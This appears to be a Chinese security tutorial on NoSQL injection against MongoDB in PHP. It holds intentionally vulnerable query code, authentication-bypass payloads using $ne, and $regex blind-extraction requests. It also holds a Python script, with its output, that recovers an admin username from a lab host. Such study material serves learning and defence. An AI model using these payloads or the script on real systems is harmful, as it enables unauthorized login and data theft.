不停的练习才能让自己变得更强
注入 常规的关系型数据库存在如下注入漏洞
1 Select * from usere where id = $id *
在*号处可能会存在拼接注入
但是MongoDB因所使用PHP连接库的不同,而有多种注入方法。
NOSQL注入分析 按照语言分类:
1 2 3 4 5 1.PHP数组注入 2.js注入 3.mongo shell拼接注入
按照攻击手段分类:
1 2 3 4 5 1.重言式 2.联合查询 3.javascript注入
攻击危害分别如下:
1 Mongo shell拼接注入 > js 注入 > PHP数组注入
Mongo shell拼接注入 漏洞代码如下:
1 2 3 4 5 $query = array( '$where' => "function login() {var username = '".$username."';var password = '".$password."';if(username == 'admin' && password == '123456') return true; else{ return false;}}" ); $query = new MongoDB\Driver\Query($query); $cursor = $manager->executeQuery($tb_users, $query)->toArray();
在这代码中直接运行了js代码,通过js代码去进行数据查询。这里的数据构建和常规sql注入的很像,可以直接通过”截断 再用’去闭合语句。
js 注入 1 2 3 4 $cmd = new MongoDB\Driver\Command([ 'eval'=> 'db.messages.find({"author":"'.$username.'"}).sort({"addtime":-1});' ]);
PHP数组注入 1 2 3 4 $query = array( 'username' => $username, 'password' => $password, );
万能密码登陆 在这里直接将’username’和’pssword’转换成JSON格式了,这里看起来没有注入。但是PHP有一个特性,在传参时能够传数组 。因此可以将username=1,passowrd=1改为username[$ne]=1,password[$ne]=1。带入数据库后就变成了:
1 2 3 4 5 6 7 8 9 10 11 $query = array( { "username":{ "$ne":"1" }, "password":{ "$ne":"1" } } ) db.users.find({"username":{"$ne":"1"},"password":{"$ne":"1"}})
这种方法类似于万能密码,将username不包括”1”的和password不包括”1”的数据返回。返回的都是对的数据,那肯定能够登陆。
这样就用万能密码登陆进去了
查询数据 将username[$ne]=1 中的$ne换成正则匹配符$regex,每次都正则匹配一个值。如果匹配正确了则数据正确,登陆成功。如果匹配错误则登陆失败。
判断第一个字母是否是1,发现匹配错误登陆失败。
1 username[$regex]=^1&password[$ne]=1&submit=%E7%99%BB%E5%BD%95
判断第一个字母是否是a,发现匹配正确登陆成功。
1 username[$regex]=^a&password[$ne]=1&submit=%E7%99%BB%E5%BD%95
开始判断第二个字母,发现开头不是ab
1 username[$regex]=^ab&password[$ne]=1&submit=%E7%99%BB%E5%BD%95
继续往下判断,发现第二个字母是d
1 username[$regex]=^ad&password[$ne]=1&submit=%E7%99%BB%E5%BD%95
我们可以通过这种方法去逐个判断每个值,但是无法判断最后一个字母是什么。这时候就要用到正则$去匹配最后一个字符了。
当^ad满足且^ad$也满足时,证明ad为所有字符。
1 username[$regex]=^ad$&password[$ne]=1&submit=%E7%99%BB%E5%BD%95
在这里ad明显不是所有字符,让我们用脚本跑一下。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #! coding=utf-8 import requests import hashlib str1 = '''!"#%&',-/0123456789:;<=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ_`abcdefghijklmnopqrstuvwxyz~''' str2 = '''$\()*+,\.?[]^{|}''' url = 'http://192.168.107.147/login.php' print url data = { 'username[$regex]': '^.', 'password[$ne]': '1', 'submit': '%E7%99%BB%E5%BD%95' } r = requests.post(url, data) body = r.text result = '' def go(result, str1, str2): tmp = result for i in str1: data = { 'username[$regex]': '^%s' % result + i, 'password[$ne]': '1' , 'submit': '%E7%99%BB%E5%BD%95' } r = requests.post(url, data) if body == r.text: tmp = result + i print data print(tmp) go(tmp, str1, str2) continue if i == str1[-1] and body != r.text: for i in str2: data = { 'username[$ne]': '1', 'password[$regex]': '^%s' % result + '\\' + i, 'submit': '%E7%99%BB%E5%BD%95' } r = requests.post(url, data) if body == r.text: tmp = result + i print(tmp) go(tmp, str1, str2) go(result, str1, str2)
运行结果如下:
1 2 3 4 5 6 7 8 9 10 {'username[$regex]': '^a', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'} a {'username[$regex]': '^ad', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'} ad {'username[$regex]': '^adm', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'} adm {'username[$regex]': '^admi', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'} admi {'username[$regex]': '^admin', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'} admin
可以看到用户名为admin,密码也可以用这种方法爆破故此不再重复。
但是PHP数组注入充满了局限性 ,只能够查本表中的数据。